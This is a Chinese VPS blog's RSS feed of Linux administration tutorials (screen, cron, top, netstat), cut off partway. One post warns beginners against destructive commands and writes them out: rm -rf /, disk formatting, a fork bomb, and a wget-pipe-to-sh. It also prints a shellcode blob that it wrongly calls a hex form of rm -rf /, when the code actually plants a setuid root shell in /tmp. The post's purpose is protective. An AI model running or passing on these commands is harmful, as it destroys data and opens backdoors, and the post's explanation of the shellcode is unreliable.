<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>深度VPS &#187; 命令</title>
	<atom:link href="http://www.deepvps.com/tag/%E5%91%BD%E4%BB%A4/feed" rel="self" type="application/rss+xml" />
	<link>http://www.deepvps.com</link>
	<description>专注VPS技术，关注前端技术</description>
	<lastBuildDate>Sat, 04 Feb 2023 14:00:33 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Linux VPS 常用维护命令教程</title>
		<link>http://www.deepvps.com/linux-vps-commonly-used-commands.html</link>
		<comments>http://www.deepvps.com/linux-vps-commonly-used-commands.html#comments</comments>
		<pubDate>Mon, 28 May 2012 13:10:55 +0000</pubDate>
		<dc:creator>deepvps</dc:creator>
				<category><![CDATA[VPS入门]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[VPS]]></category>
		<category><![CDATA[命令]]></category>
		<category><![CDATA[常用]]></category>

		<guid isPermaLink="false">http://www.deepvps.com/?p=1143</guid>
		<description><![CDATA[初学者面对Linux系统的命令提示符（Bash  Shell）往往感到不知所措，本文将从简单的Linux系统维护的常见命令开始介绍，深入浅入学会Linux的基本维护操作。如果你是一个初次面对Linux的初学者，这篇文章强烈推荐。
1、首先介绍便于远程执行长时间操作的screen命令
VPS往往都是远程SSH管理，这样直接输入命令操作，对于简短的命令是可行的。但如果有需要长时间执行的操作，比如yum/apt-get安装操作、执行软件安装脚本等，会发现SSH的直接操作非常不便，一旦SSH断线，操作便会异常终止。
其实解决这个问题的方法有两种：
1、直接通过VNC屏幕控制台操作
2、依然使用SSH，但在screen终端中执行命令
第二种方法，实际上是使用screen终端模拟了多个“控制台”，在模拟的“控制台”里，不仅可以并行执行多个操作，还可以在关闭SSH后命令依然后台执行。（颇像直接操作Linux的Alt+F？的多控制台切换）
点击此处查看本站教程：screen命令的使用方法
2、查看内存使用情况：free
[root@vm ~]# free
total used free shared buffers cached
Mem: 514860 481808 33052 0 107536 134892
-/+ buffers/cache: 239380 275480
Swap: 1048568 80 1048488
free命令将显示相关的内存使用情况，注意：对于独立服务器或者XEN/KVM架构的虚拟机，free命令显示的free那一列并非真实的剩余内存。
3、查看磁盘分区使用情况：fdisk与df
[root@www ~]# fdisk -l
Disk /dev/hda: 16.1 GB, 16106127360 bytes
255 heads, 63 sectors/track, 1958 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot      Start     [...]]]></description>
			<content:encoded><![CDATA[<p>初学者面对Linux系统的命令提示符（Bash  Shell）往往感到不知所措，本文将从简单的Linux系统维护的常见命令开始介绍，深入浅入学会Linux的基本维护操作。如果你是一个初次面对Linux的初学者，这篇文章强烈推荐。</p>
<h3>1、首先介绍便于远程执行长时间操作的screen命令</h3>
<p>VPS往往都是远程SSH管理，这样直接输入命令操作，对于简短的命令是可行的。但如果有需要长时间执行的操作，比如yum/apt-get安装操作、执行软件安装脚本等，会发现SSH的直接操作非常不便，一旦SSH断线，操作便会异常终止。<span id="more-1143"></span></p>
<p>其实解决这个问题的方法有两种：<br />
1、直接通过VNC屏幕控制台操作<br />
2、依然使用SSH，但在screen终端中执行命令</p>
<p>第二种方法，实际上是使用screen终端模拟了多个“控制台”，在模拟的“控制台”里，不仅可以并行执行多个操作，还可以在关闭SSH后命令依然后台执行。（颇像直接操作Linux的Alt+F？的多控制台切换）</p>
<p>点击此处查看本站教程：<a title="SSH远程会话管理工具 – screen使用教程" href="http://www.deepvps.com/screen-tutorial.html" target="_blank">screen命令的使用方法</a></p>
<h3>2、查看内存使用情况：free</h3>
<blockquote><p>[root@vm ~]# free<br />
total used free shared buffers cached<br />
Mem: 514860 481808 33052 0 107536 134892<br />
-/+ buffers/cache: 239380 275480<br />
Swap: 1048568 80 1048488</p></blockquote>
<p>free命令将显示相关的内存使用情况，注意：对于独立服务器或者XEN/KVM架构的虚拟机，free命令显示的free那一列并非真实的剩余内存。</p>
<h3>3、查看磁盘分区使用情况：fdisk与df</h3>
<blockquote><p>[root@www ~]# fdisk -l<br />
Disk /dev/hda: 16.1 GB, 16106127360 bytes<br />
255 heads, 63 sectors/track, 1958 cylinders<br />
Units = cylinders of 16065 * 512 = 8225280 bytes</p>
<p>Device Boot      Start         End      Blocks   Id  System<br />
/dev/hda1   *           1          13      104391   83  Linux<br />
/dev/hda2              14        1958    15623212+  8e  Linux LVM</p></blockquote>
<p>查看各个分区的使用：df -hl</p>
<blockquote><p>[root@www ~]# df -hl<br />
Filesystem            Size  Used Avail Use% Mounted on<br />
/dev/mapper/VolGroup00-LogVol00<br />
14G  2.9G  9.9G  23% /<br />
/dev/hda1              99M   19M   76M  20% /boot<br />
tmpfs                 252M     0  252M   0%  /dev/shm</p></blockquote>
<h3>4、查看系统负载与运行状况：uptime</h3>
<blockquote><p>[root@www ~]# uptime<br />
13:36:09 up 2 days, 16:09, 1 user, load average: 0.03, 0.02, 0.00</p></blockquote>
<p>表示系统启动的时间，后面的load average三个数分别表示最近1分钟、5分钟、15分钟的系统平均负载。</p>
<p>一般来说，一个CPU核心的满负载数值为1，有几个核心，满负载状态就为几。如果Load超出这个数，说明系统中有等待处理的排队请求。实际使用中，一般不要让Load大于CPU总核心数×2，否则系统效率将大打折扣。</p>
<h3>5、查看当前用户/查看当前路径/查看当前时间/打印所有进程列表</h3>
<blockquote><p>[root@www local]# who</p>
<p>root pts/0 2012-01-14 13:35 (58.47.62.202)<br />
[root@www local]# whoami<br />
root<br />
[root@www local]# pwd<br />
/usr/local<br />
[root@www local]# date<br />
Sat Jan 14 13:44:39 CST 2012<br />
[root@www local]# ps -aux<br />
Warning: bad syntax, perhaps a bogus &#8216;-&#8217;? See /usr/share/doc/procps-3.2.7/FAQ<br />
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND<br />
root 1 0.0 0.1 2160 648 ? Ss Jan11 0:01 init [3]<br />
root 2 0.0 0.0 0 0 ? S&lt; Jan11 0:00 [migration/0]<br />
root 3 0.0 0.0 0 0 ? SN Jan11 0:00 [ksoftirqd/0]<br />
root 4 0.0 0.0 0 0 ? S&lt; Jan11 0:00 [watchdog/0]<br />
root 5 0.0 0.0 0 0 ? S&lt; Jan11 0:00 [migration/1]<br />
&#8230;</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.deepvps.com/linux-vps-commonly-used-commands.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Linux VPS 计划任务crond命令的用法</title>
		<link>http://www.deepvps.com/linux-vps-crond.html</link>
		<comments>http://www.deepvps.com/linux-vps-crond.html#comments</comments>
		<pubDate>Mon, 31 Oct 2011 14:23:47 +0000</pubDate>
		<dc:creator>deepvps</dc:creator>
				<category><![CDATA[VPS管理维护]]></category>
		<category><![CDATA[crond]]></category>
		<category><![CDATA[命令]]></category>
		<category><![CDATA[计划任务]]></category>

		<guid isPermaLink="false">http://www.deepvps.com/?p=911</guid>
		<description><![CDATA[一、安装计划任务
这个程序在某些系统上可能没有预装，需要执行下面的命令进行安装。
yum install -y vixie-cron
然后启动服务
service crond start
二、设置计划任务
（1）执行下面的命令来设置计划任务:
crontab -e
之所以要使用上面的命令而不是直接使用vi，是因为cron要进行为数不多但是非常必要的语法检查。
（2）设置计划任务的规范：
t1 t2 t3 t4 t5 program
t1 表示分钟，
t2 表示小时，
t3 表示一个月份中的第几日，
t4 表示月份，
t5 表示一个星期中的第几天。
program 表示要执行的程式。
（3）一些示例：
每月每天每小时的第 0 分钟执行一次 /bin/ls :
0 * * * * /bin/ls
在 12 月内, 每天的早上 6 点到 12 点中，每隔 20 分钟执行一次 /usr/bin/backup :
*/20 6-12 * 12 * /usr/bin/backup
周一到周五每天下午 5:00 寄一封信给 alex@domain.name :
0 17 * * 1-5 mail -s “hi” alex@domain.name [...]]]></description>
			<content:encoded><![CDATA[<p><strong>一、安装计划任务</strong><br />
这个程序在某些系统上可能没有预装，需要执行下面的命令进行安装。</p>
<blockquote><p>yum install -y vixie-cron</p></blockquote>
<p>然后启动服务</p>
<blockquote><p>service crond start</p></blockquote>
<p><strong><span id="more-911"></span>二、设置计划任务</strong><br />
（1）执行下面的命令来设置计划任务:</p>
<blockquote><p>crontab -e</p></blockquote>
<p>之所以要使用上面的命令而不是直接使用vi，是因为cron要进行为数不多但是非常必要的语法检查。<br />
（2）设置计划任务的规范：<br />
t1 t2 t3 t4 t5 program</p>
<p>t1 表示分钟，<br />
t2 表示小时，<br />
t3 表示一个月份中的第几日，<br />
t4 表示月份，<br />
t5 表示一个星期中的第几天。<br />
program 表示要执行的程式。<br />
（3）一些示例：<br />
每月每天每小时的第 0 分钟执行一次 /bin/ls :</p>
<blockquote><p>0 * * * * /bin/ls</p></blockquote>
<p>在 12 月内, 每天的早上 6 点到 12 点中，每隔 20 分钟执行一次 /usr/bin/backup :</p>
<blockquote><p>*/20 6-12 * 12 * /usr/bin/backup</p></blockquote>
<p>周一到周五每天下午 5:00 寄一封信给 alex@domain.name :</p>
<blockquote><p>0 17 * * 1-5 mail -s “hi” alex@domain.name &lt; /tmp/maildata</p></blockquote>
<p>每月每天的午夜 0 点 20 分, 2 点 20 分, 4 点 20 分….执行 echo “haha”</p>
<blockquote><p>20 0-23/2 * * * echo &#8220;haha&#8221;</p></blockquote>
<p>晚上11点到早上8点之间每两个小时，和早上八点，执行date命令。</p>
<blockquote><p>0 23-7/2，8 * * * date</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.deepvps.com/linux-vps-crond.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>7个致命的 Linux 命令</title>
		<link>http://www.deepvps.com/7-deadly-linux-commands.html</link>
		<comments>http://www.deepvps.com/7-deadly-linux-commands.html#comments</comments>
		<pubDate>Thu, 05 May 2011 14:16:33 +0000</pubDate>
		<dc:creator>deepvps</dc:creator>
				<category><![CDATA[网络杂谈]]></category>
		<category><![CDATA[7个]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[命令]]></category>
		<category><![CDATA[致命]]></category>

		<guid isPermaLink="false">http://www.deepvps.com/?p=786</guid>
		<description><![CDATA[如果你是一个 Linux 新手，在好奇心的驱使下，可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令，轻则使你的数据造成丢失，重则使你的系统造成瘫痪，所以，你应当竭力避免在系统中运行它们。
1. rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。
2.
char esp[] __attribute__ ((section(&#8220;.text&#8221;))) /* e.s.p
release */
= &#8220;\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68&#8243;
&#8220;\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99&#8243;
&#8220;\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7&#8243;
&#8220;\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56&#8243;
&#8220;\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31&#8243;
&#8220;\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69&#8243;
&#8220;\x6e\x2f\x73\x68\x00\x2d\x63\x00&#8243;
&#8220;cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;&#8221;;
这是 rm -rf / 的 hex（十六进制）版本，很能迷惑 Linux 用户。
3. mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化，自然，硬盘上的所有数据将灰飞烟灭。
4. : ( ){  : &#124;:&#38; };: 著名的 fork bomp，此命令将告诉你的系统执行海量的进程，直到你的系统僵死。
5. any_command &#62; /dev/sda 使用该命令，原始数据将被写到块设备，其结果是造成数据丢失。
6. wget http://some_untrusted_source -O- &#124; sh 不要从不信任的地方下载东西，这可能会获取恶意代码。
7. mv [...]]]></description>
			<content:encoded><![CDATA[<p>如果你是一个 Linux 新手，在好奇心的驱使下，可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令，轻则使你的数据造成丢失，重则使你的系统造成瘫痪，所以，你应当竭力避免在系统中运行它们。</p>
<blockquote><p>1. rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。<br />
2.</p>
<p>char esp[] __attribute__ ((section(&#8220;.text&#8221;))) /* e.s.p<br />
release */<br />
= &#8220;\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68&#8243;<br />
&#8220;\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99&#8243;<br />
&#8220;\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7&#8243;<br />
&#8220;\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56&#8243;<br />
&#8220;\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31&#8243;<br />
&#8220;\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69&#8243;<br />
&#8220;\x6e\x2f\x73\x68\x00\x2d\x63\x00&#8243;<br />
&#8220;cp -p /bin/sh /tmp/.beyond; chmod 4755<br />
/tmp/.beyond;&#8221;;</p>
<p>这是 rm -rf / 的 hex（十六进制）版本，很能迷惑 Linux 用户。<span id="more-786"></span><br />
3. mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化，自然，硬盘上的所有数据将灰飞烟灭。<br />
4. : ( ){  : |:&amp; };: 著名的 fork bomp，此命令将告诉你的系统执行海量的进程，直到你的系统僵死。<br />
5. any_command &gt; /dev/sda 使用该命令，原始数据将被写到块设备，其结果是造成数据丢失。<br />
6. wget http://some_untrusted_source -O- | sh 不要从不信任的地方下载东西，这可能会获取恶意代码。<br />
7. mv /home/yourhomedirectory/* /dev/null 此命令将移动主目录中的所有文件到一个不存在的地方，你将再也看不到那些文件。</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.deepvps.com/7-deadly-linux-commands.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Linux系统中top命令使用说明和使用教程</title>
		<link>http://www.deepvps.com/top-command-instructions-and-tutorial-in-linux-system.html</link>
		<comments>http://www.deepvps.com/top-command-instructions-and-tutorial-in-linux-system.html#comments</comments>
		<pubDate>Mon, 28 Feb 2011 14:42:26 +0000</pubDate>
		<dc:creator>deepvps</dc:creator>
				<category><![CDATA[VPS管理维护]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[top]]></category>
		<category><![CDATA[使用说明]]></category>
		<category><![CDATA[命令]]></category>
		<category><![CDATA[教程]]></category>

		<guid isPermaLink="false">http://www.deepvps.com/?p=735</guid>
		<description><![CDATA[top命令中的load average就是我们常常说的系统负载，即任务队列的平均长度。load average为1表示目前cpu已经有1个任务等待处理，说明cpu已经在100%工作了，低于1表示CPU还是比较空闲，处理任务游刃有余。一般来说只要每个CPU的当前活动进程数不大于3那么系统的性能就是良好的，如果每个CPU的任务数大于5，那么就表示这台机器的性能有严重问题。
top命令是Linux下常用的性能分析工具，能够实时显示系统中各个进程的资源占用状况，类似于Windows的任务管理器。下面详细介绍它的使用方法。



top &#8211; 01:06:48 up  1:22,  1 user,  load average: 0.06, 0.60, 0.48
Tasks:  29 total,   1 running,  28 sleeping,   0 stopped,   0 zombie
Cpu(s):  0.3% us,  1.0% sy,  0.0% ni, 98.7% id,  0.0% wa,  0.0% hi,  0.0% si
Mem:    191272k total,   173656k used,    17616k free,    22052k buffers
Swap:   192772k total,        0k used,   192772k free,   123988k cached   PID [...]]]></description>
			<content:encoded><![CDATA[<p>top命令中的load average就是我们常常说的系统负载，即任务队列的平均长度。load average为1表示目前cpu已经有1个任务等待处理，说明cpu已经在100%工作了，低于1表示CPU还是比较空闲，处理任务游刃有余。一般来说只要每个CPU的当前活动进程数不大于3那么系统的性能就是良好的，如果每个CPU的任务数大于5，那么就表示这台机器的性能有严重问题。</p>
<p>top命令是Linux下常用的性能分析工具，能够实时显示系统中各个进程的资源占用状况，类似于Windows的任务管理器。下面详细介绍它的使用方法。<span id="more-735"></span></p>
<table border="1" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td>top &#8211; 01:06:48 up  1:22,  1 user,  load average: 0.06, 0.60, 0.48<br />
Tasks:  29 total,   1 running,  28 sleeping,   0 stopped,   0 zombie<br />
Cpu(s):  0.3% us,  1.0% sy,  0.0% ni, 98.7% id,  0.0% wa,  0.0% hi,  0.0% si<br />
Mem:    191272k total,   173656k used,    17616k free,    22052k buffers<br />
Swap:   192772k total,        0k used,   192772k free,   123988k cached   PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND<br />
  1379 root      16   0  7976 2456 1980 S  0.7  1.3   0:11.03 sshd<br />
14704 root      16   0  2128  980  796 R  0.7  0.5   0:02.72 top<br />
     1 root      16   0  1992  632  544 S  0.0  0.3   0:00.90 init<br />
     2 root      34  19     0    0    0 S  0.0  0.0   0:00.00 ksoftirqd/0<br />
     3 root      RT   0     0    0    0 S  0.0  0.0   0:00.00 watchdog/0</td>
</tr>
</tbody>
</table>
<p> </p>
<h4>统计信息区</h4>
<p>前五行是系统整体的统计信息。第一行是任务队列信息，同 uptime 命令的执行结果。其内容如下：</p>
<div>
<table border="0" cellspacing="1">
<tbody>
<tr>
<td>01:06:48</td>
<td>当前时间</td>
</tr>
<tr>
<td>up 1:22</td>
<td>系统运行时间，格式为时:分</td>
</tr>
<tr>
<td>1 user</td>
<td>当前登录用户数</td>
</tr>
<tr>
<td>load average: 0.06, 0.60, 0.48</td>
<td>系统负载，即任务队列的平均长度。<br />
三个数值分别为 1分钟、5分钟、15分钟前到现在的平均值。</td>
</tr>
</tbody>
</table>
</div>
<p>第二、三行为进程和CPU的信息。当有多个CPU时，这些内容可能会超过两行。内容如下：</p>
<div>
<table border="0" cellspacing="1">
<tbody>
<tr>
<td>Tasks: 29 total</td>
<td>进程总数</td>
</tr>
<tr>
<td>1 running</td>
<td>正在运行的进程数</td>
</tr>
<tr>
<td>28 sleeping</td>
<td>睡眠的进程数</td>
</tr>
<tr>
<td>0 stopped</td>
<td>停止的进程数</td>
</tr>
<tr>
<td>0 zombie</td>
<td>僵尸进程数</td>
</tr>
<tr>
<td>Cpu(s): 0.3% us</td>
<td>用户空间占用CPU百分比</td>
</tr>
<tr>
<td>1.0% sy</td>
<td>内核空间占用CPU百分比</td>
</tr>
<tr>
<td>0.0% ni</td>
<td>用户进程空间内改变过优先级的进程占用CPU百分比</td>
</tr>
<tr>
<td>98.7% id</td>
<td>空闲CPU百分比</td>
</tr>
<tr>
<td>0.0% wa</td>
<td>等待输入输出的CPU时间百分比</td>
</tr>
<tr>
<td>0.0% hi</td>
<td> </td>
</tr>
<tr>
<td>0.0% si</td>
<td> </td>
</tr>
</tbody>
</table>
</div>
<p>最后两行为内存信息。内容如下：</p>
<div>
<table border="0" cellspacing="1">
<tbody>
<tr>
<td>Mem: 191272k total</td>
<td>物理内存总量</td>
</tr>
<tr>
<td>173656k used</td>
<td>使用的物理内存总量</td>
</tr>
<tr>
<td>17616k free</td>
<td>空闲内存总量</td>
</tr>
<tr>
<td>22052k buffers</td>
<td>用作内核缓存的内存量</td>
</tr>
<tr>
<td>Swap: 192772k total</td>
<td>交换区总量</td>
</tr>
<tr>
<td>0k used</td>
<td>使用的交换区总量</td>
</tr>
<tr>
<td>192772k free</td>
<td>空闲交换区总量</td>
</tr>
<tr>
<td>123988k cached</td>
<td>缓冲的交换区总量。<br />
内存中的内容被换出到交换区，而后又被换入到内存，但使用过的交换区尚未被覆盖，<br />
该 数值即为这些<strong>内容已存在于内存中</strong>的交换区的大小。<br />
相应的内存再次被换出时可不必再对交换区写入。</td>
</tr>
</tbody>
</table>
</div>
<h4 id="content_1_2">进程信息区</h4>
<p>统计信息区域的下方显示了各个进程的详细信息。首先来认识一下各列的含义。</p>
<div>
<table border="0" cellspacing="1">
<thead>
<tr>
<td>序号</td>
<td>列名</td>
<td>含义</td>
</tr>
</thead>
<tbody>
<tr>
<td>a</td>
<td>PID</td>
<td>进程id</td>
</tr>
<tr>
<td>b</td>
<td>PPID</td>
<td>父进程id</td>
</tr>
<tr>
<td>c</td>
<td>RUSER</td>
<td>Real user name</td>
</tr>
<tr>
<td>d</td>
<td>UID</td>
<td>进程所有者的用户id</td>
</tr>
<tr>
<td>e</td>
<td>USER</td>
<td>进程所有者的用户名</td>
</tr>
<tr>
<td>f</td>
<td>GROUP</td>
<td>进程所有者的组名</td>
</tr>
<tr>
<td>g</td>
<td>TTY</td>
<td>启动进程的终端名。不是从终端启动的进程则显示为 ?</td>
</tr>
<tr>
<td>h</td>
<td>PR</td>
<td>优先级</td>
</tr>
<tr>
<td>i</td>
<td>NI</td>
<td>nice值。负值表示高优先级，正值表示低优先级</td>
</tr>
<tr>
<td>j</td>
<td>P</td>
<td>最后使用的CPU，仅在多CPU环境下有意义</td>
</tr>
<tr>
<td>k</td>
<td>%CPU</td>
<td>上次更新到现在的CPU时间占用百分比</td>
</tr>
<tr>
<td>l</td>
<td>TIME</td>
<td>进程使用的CPU时间总计，单位秒</td>
</tr>
<tr>
<td>m</td>
<td>TIME+</td>
<td>进程使用的CPU时间总计，单位1/100秒</td>
</tr>
<tr>
<td>n</td>
<td>%MEM</td>
<td>进程使用的<strong>物理内存</strong>百分比</td>
</tr>
<tr>
<td>o</td>
<td>VIRT</td>
<td>进程使用的虚拟内存总量，单位kb。VIRT=SWAP+RES</td>
</tr>
<tr>
<td>p</td>
<td>SWAP</td>
<td>进程使用的虚拟内存中，被换出的大小，单位kb。</td>
</tr>
<tr>
<td>q</td>
<td>RES</td>
<td>进程使用的、未被换出的物理内存大小，单位kb。RES=CODE+DATA</td>
</tr>
<tr>
<td>r</td>
<td>CODE</td>
<td>可执行代码占用的<strong>物理</strong>内存大小，单位kb</td>
</tr>
<tr>
<td>s</td>
<td>DATA</td>
<td>可执行代码以外的部分(数据段+栈)占用的<strong>物理</strong>内存大小，单位kb</td>
</tr>
<tr>
<td>t</td>
<td>SHR</td>
<td>共享内存大小，单位kb</td>
</tr>
<tr>
<td>u</td>
<td>nFLT</td>
<td>页面错误次数</td>
</tr>
<tr>
<td>v</td>
<td>nDRT</td>
<td>最后一次写入到现在，被修改过的页面数。</td>
</tr>
<tr>
<td>w</td>
<td>S</td>
<td>进程状态。<br />
<strong>D</strong>=不可中断的睡眠状态<br />
<strong>R</strong>= 运行<br />
<strong>S</strong>=睡眠<br />
<strong>T</strong>=跟踪/停止<br />
<strong>Z</strong>= 僵尸进程</td>
</tr>
<tr>
<td>x</td>
<td>COMMAND</td>
<td>命令名/命令行</td>
</tr>
<tr>
<td>y</td>
<td>WCHAN</td>
<td>若该进程在睡眠，则显示睡眠中的系统函数名</td>
</tr>
<tr>
<td>z</td>
<td>Flags</td>
<td>任务标志，参考 sched.h</td>
</tr>
</tbody>
</table>
</div>
<p>默认情况下仅显示比较重要的 PID、USER、PR、NI、VIRT、RES、SHR、S、%CPU、%MEM、TIME+、COMMAND 列。可以通过下面的快捷键来更改显示内容。</p>
<h3 id="content_1_3">更改显示内容</h3>
<p>通过 <strong>f </strong>键可以选择显示的内容。按 f 键之后会显示列的列表，按 a-z 即可显示或隐藏对应的列，最后按回车键确定。</p>
<p>按 <strong>o</strong> 键可以改变列的显示顺序。按小写的 a-z 可以将相应的列向右移动，而大写的 A-Z 可以将相应的列向左移动。最后按回车键确定。</p>
<p>按大写的 <strong>F</strong> 或 <strong>O</strong> 键，然后按 a-z 可以将进程按照相应的列进行排序。而大写的 <strong>R</strong> 键可以将当前的排序倒转。</p>
<p><span style="font-size: medium;"><strong>命令使用</strong></span></p>
<p>1． 工具（命令）名称<br />
top<br />
2．工具（命令）作用<br />
显示系统当前的进程和其他 状况； top是一个动态显示过程,即可以通过用户按键来不断刷新当前状态.如果在前台执行该命令,它将独占前台,直到用户终止该程序为止. 比较准确的说,top命令提供了实时的对系统处理器的状态监视.它将显示系统中CPU最“敏感”的任务列表.该命令可以按CPU使用.内存使用和执行时间 对任务进行排序；而且该命令的很多特性都可以通过交互式命令或者在个人定制文件中进行设定.<br />
3．环境设置<br />
在Linux下使用。<br />
4．使用方法<br />
4.1 使用格式<br />
top [-] [d] [p] [q] [c] [C] [S] [s]  [n]<br />
4.2 参数说明<br />
 <span style="color: #ff0000;">d </span>指定每两次屏幕信息刷新之间的时间间隔。当然用户可以使用s交互命令来改变之。<br />
<span style="color: #ff0000;"> p</span> 通过指定监控进程ID来仅仅监控某个进程的状态。<br />
 <span style="color: #ff0000;">q</span>该选项将使top没有任何延迟的进行刷新。如果调用程序有超级用户权限，那么top将以尽可能高的优先 级运行。<br />
<span style="color: #ff0000;"> S</span> 指定累计模式<br />
<span style="color: #ff0000;"> s</span> 使top命令在安全模式中运行。这将去除交互命令所带来的潜在危险。<br />
<span style="color: #ff0000;"> i</span>  使top不显示任何闲置或者僵死进程。<br />
<span style="color: #ff0000;"> c</span>  显示整个命令行而不只是显示命令名<br />
4.3 其他<br />
下面介绍在top命令执行过程中可以使用的一些交互命令。从使用角度来看，熟练的掌握这些命令比掌握选项还重要一些。这些命令都是单字母 的，如果在命令行选项中使用了s选项，则可能其中一些命令会被屏蔽掉。<br />
<span style="color: #ff0000;">Ctrl+L</span> 擦除并且重写屏幕。<br />
<span style="color: #ff0000;">h或者?</span> 显示帮助画面，给出一些简短的命令总结说明。<br />
<span style="color: #ff0000;">k</span> 终止一个进程。系统将提示用户输入需要终止的进程PID，以及需要发送给该进程什么样的信号。一般的终止进程可以使用15信号；如果不能正常结束那就使用 信号9强制结束该进程。默认值是信号15。在安全模式中此命令被屏蔽。<br />
<span style="color: #ff0000;">i </span>忽略 闲置和僵死进程。这是一个开关式命令。<br />
<span style="color: #ff0000;">q </span>退出程序。<br />
<span style="color: #ff0000;">r </span>重新安排一个进程的优先级别。系统提示用户输入需要改变的进程PID以及需要设置的进程优先级值。输 入一个正值将使优先级降低，反之则可以使该进程拥有更高的优先权。默认值是10。<br />
<span style="color: #ff0000;">S </span>切 换到累计模式。<br />
<span style="color: #ff0000;">s </span>改变两次刷新之间的延迟时间。系统将提示用户输入新的时间， 单位为s。如果有小数，就换算成m s。输入0值则系统将不断刷新，默认值是5 s。需要注意的是如果设置太小的时间，很可能会引起不断刷新，从而根本来不及看清显示的情况，而且系统负载也会大大增加。<br />
<span style="color: #ff0000;">f或者F</span> 从当前显示中添加或者删除项目。<br />
<span style="color: #ff0000;">o 或者O</span> 改变显示项目的顺序。<br />
<span style="color: #ff0000;">l </span>切换显示平均负载和启动时间信息。<br />
<span style="color: #ff0000;">m</span> 切换显示内存信息。<br />
<span style="color: #ff0000;">t </span>切换显示进程和CPU状态信息。<br />
<span style="color: #ff0000;">c </span>切 换显示命令名称和完整命令行。<br />
<span style="color: #ff0000;">M</span> 根据驻留内存大小进行排序。<br />
<span style="color: #ff0000;">P </span>根据CPU使用百分比大小进行排序。<br />
<span style="color: #ff0000;">T</span> 根据时间/累计时间进行排序。<br />
<span style="color: #ff0000;">W</span> 将当前设置写入~/.toprc文件中。这是写top配置文件的推荐方法。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.deepvps.com/top-command-instructions-and-tutorial-in-linux-system.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>判断CC攻击，netstat命令详解</title>
		<link>http://www.deepvps.com/determine-the-cc-attack-netstat-command-detailed.html</link>
		<comments>http://www.deepvps.com/determine-the-cc-attack-netstat-command-detailed.html#comments</comments>
		<pubDate>Sat, 04 Dec 2010 15:23:58 +0000</pubDate>
		<dc:creator>deepvps</dc:creator>
				<category><![CDATA[VPS管理维护]]></category>
		<category><![CDATA[80端口]]></category>
		<category><![CDATA[CC]]></category>
		<category><![CDATA[CC攻击]]></category>
		<category><![CDATA[netstat]]></category>
		<category><![CDATA[TCP连接]]></category>
		<category><![CDATA[命令]]></category>

		<guid isPermaLink="false">http://www.deepvps.com/?p=669</guid>
		<description><![CDATA[查看所有80端口的连接数
netstat -nat&#124;grep -i &#8220;80&#8243;&#124;wc -l
对连接的IP按连接数量进行排序
netstat -ntu &#124; awk &#8216;{print $5}&#8217; &#124; cut -d: -f1 &#124; sort &#124; uniq -c &#124; sort -n
查看TCP连接状态
netstat -nat &#124;awk &#8216;{print $6}&#8217;&#124;sort&#124;uniq -c&#124;sort -rn
netstat -n &#124; awk &#8216;/^tcp/ {++S[$NF]};END {for(a in S) print a, S[a]}&#8217;
netstat -n &#124; awk &#8216;/^tcp/ {++state[$NF]}; END {for(key in state) print key,&#8221;\t&#8221;,state[key]}&#8217;
netstat -n &#124; awk &#8216;/^tcp/ {++arr[$NF]};END [...]]]></description>
			<content:encoded><![CDATA[<h3>查看所有80端口的连接数</h3>
<blockquote><p>netstat -nat|grep -i &#8220;80&#8243;|wc -l</p></blockquote>
<h3>对连接的IP按连接数量进行排序</h3>
<blockquote><p>netstat -ntu | awk &#8216;{print $5}&#8217; | cut -d: -f1 | sort | uniq -c | sort -n</p></blockquote>
<h3>查看TCP连接状态</h3>
<blockquote><p>netstat -nat |awk &#8216;{print $6}&#8217;|sort|uniq -c|sort -rn<br />
